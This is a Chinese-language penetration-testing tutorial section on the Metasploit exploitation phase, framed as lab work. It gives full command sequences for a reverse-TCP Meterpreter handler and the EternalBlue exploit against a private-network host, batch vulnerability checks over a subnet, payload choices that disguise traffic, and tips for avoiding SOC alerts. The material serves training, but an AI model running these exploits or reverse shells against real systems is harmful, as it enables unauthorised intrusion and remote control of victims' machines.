3.2 渗透实施阶段


3.2 渗透实施阶段

本节摘要:SOURCE 3.3:选 exploit、设 RHOST/LHOST、选 staged/stageless payload、处理 badchars 与 target;失败则 debug 回溯。

动手:最小 exploit 链

渗透实施是从"知"到"行"的跨越。先搭一个 handler 监听,再触发 exploit——这是标准姿势:

# 第一步:先开监听器(相当于先架好"接球的网") use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 set LPORT 4444 run -j # [*] Started reverse TCP handler on 192.168.56.1:4444 # 第二步:触发目标漏洞 use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.10 set payload windows/meterpreter/reverse_tcp set LHOST 192.168.56.1 run # [*] Sending stage (200774 bytes) to 192.168.56.10 # [*] Meterpreter session 1 opened

SOURCE:成功即状态从 S_secure 跃迁 S_compromised,概率取决于 target 匹配。先 listener 后 trigger 的顺序不能反——没有监听者,payload 回连无人接。

模块搜索:从几万个候选里锁定目标

模块库庞大,搜索是技术活。search 支持对元数据做结构化过滤:

# 精确搜索:类型 + 平台 + 名称 search type:exploit platform:windows name:smb # 按可靠性过滤 search rank:excellent type:exploit # 按 CVE 过滤 search cve:2017 name:eternalblue # 按披露时间排序,优先新洞 search type:exploit --sort disclosure_date

选中后务必 infoSupported targets。目标 OS/架构不在列表内,版本错一位就失败:

use exploit/windows/smb/ms17_010_eternalblue info # Name: EternalBlue SMB Remote Windows Kernel Pool Corruption # Rank: Average # Targets: # 0 => Automatic Target # 1 => Windows 7 SP1 x64 # 2 => Windows 8.1 x64 # 3 => Windows Server 2008 R2 SP1 x64 show targets

参数配置:攻击向量的组装

RHOSTSLHOST 是网络拓扑的两个端点。RHOSTS 指向目标(单 IP 或 CIDR 网段),LHOST 是回连监听地址——注意它必须能被目标访问到。NAT/DMZ 环境下,LHOST 可能需要设为公网地址或穿透地址,LPORT 选 80/443 等常见端口更易穿过出站防火墙。

Payload 选择是战术决策:

需求 选择 理由
受限缓冲区 staged meterpreter/reverse_tcp 先发小 stager,再下载 DLL
隐蔽优先 stageless meterpreter_reverse_tcp 无二次下载行为,特征少
加密通道 reverse_https 流量伪装成 HTTPS
# staged 与 stageless 的完整名称对比 windows/meterpreter/reverse_tcp # staged(斜杠分隔) windows/meterpreter_reverse_tcp # stageless(下划线分隔)

check:扣扳机前的风险预判

直接 exploit 是鲁莽行为。支持 check 的模块应先做非破坏验证:

msf6 exploit(windows/smb/ms17_010_eternalblue) > check [+] 192.168.56.10:445 - The target is vulnerable.

check 通过发送特制探测包判断漏洞特征是否存在,不触发实际攻击效果。但要注意:逻辑漏洞/堆溢出往往无法靠探测确认,check 可能返回 Unknown——此时需结合侦察情报交叉验证,而不是盲信或盲弃。

决策分支

情况 动作
无可靠 exploit 回到 recon 或 0day 研究
隐蔽优先 staged + https 通道
稳定优先 stageless bind_tcp
check 显示不易受攻击 切换模块,或重新侦察

失败调试:把日志当情报

利用失败常见三类原因,按顺序排查:

# 1. 目标不可达 / 端口未开 ping -c1 192.168.56.10 db_nmap -p445 192.168.56.10 # 2. 监听器没起 / LHOST 写错 jobs -l # handler 是否在跑 show options # 核对 LHOST/LPORT # 3. 模块 target 不匹配 show targets # 与侦察到的 OS 版本对比 info # 重读模块约束 # 提升日志级别观察细节 set LogLevel 3

03-03-fig01-5

⚠️ 常见坑:忘记 exploit/multi/handler 监听——payload 回连无人接。其次是把 LHOST 写成目标机地址,回连直接失败。

💡 关键直觉:handler 与 exploit 是「弹与枪」的关系。弹(payload)再先进,枪(监听器)没架好也白搭。

一节小结

  • 先 listener 后 trigger,run -j 把监听器放后台
  • show targets 选对 OS/架构,info 读 Supported targets 与 rank
  • check 是非破坏验证,失败不重跑而是读日志回溯
  • staged/stageless 按"受限环境 vs 隐蔽需求"取舍

批量验证:把 check 变成筛选器

check 不只是一次性验证,它能当"筛选器"在大规模目标中快速剔除无效对象:

# 对一个网段批量 check(示例:隔离环境) use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.56.0/24 set THREADS 8 check # [+] 192.168.56.10:445 - The target is vulnerable. # [-] 192.168.56.11:445 - The target is not exploitable. # [*] Scanned 256 of 256 hosts

在数百台主机的自动化扫描里,check 快速过滤出真正值得 run 的目标,避免在无效 exploit 上浪费时间窗口。这也是 SOURCE 强调"验证与执行分离"的工程价值。

告警抑制与实验纪律

在授权实验里,"不惊动目标 SOC"本身就是一种能力训练。控制流量特征与执行节奏:

# 示例:控制并发与重试,避免扫描风暴 set THREADS 1 # 降低并发 set ConnectTimeout 5 # 连接超时控制 set RHOSTS 192.168.56.10 # 收敛目标,不撒大网
# 一次受控实验的纪律清单 1. 目标清单与授权范围对齐(笔记记录) 2. 每步动作前先 check / show options 复核 3. 失败不重试轰炸,先读日志 4. 实验结束 sessions -K、jobs -K、清理上传文件

这些纪律在 5.1 工程化一章会升级为流程规范。渗透测试不是"能不能打进去",而是"打得进去且全程可审计"。

常见输出解读

输出行 含义 后续动作
Meterpreter session 1 opened 会话建立 进入会话,开始后渗透
Sending stage ... to target 第二阶段载荷已投递 等待回连成功
The target is vulnerable check 确认 配置 payload 后 run
Exploit completed, but no session 利用执行但未拿会话 检查 LHOST/监听器/杀软
connection refused 目标端口不通 回到侦察阶段复核

理解这些输出行,比背命令更重要——它们告诉你"发生了什么、下一步去哪"。


作者与出处
原作者: 灏天文库
来源:灏天文库
整理: 灏天文库整理
由灏天文库平台收录,内容或由平台用户上传,仅供学习交流
发布者: 作者: 灏天文库 转发
评论区 (0)
U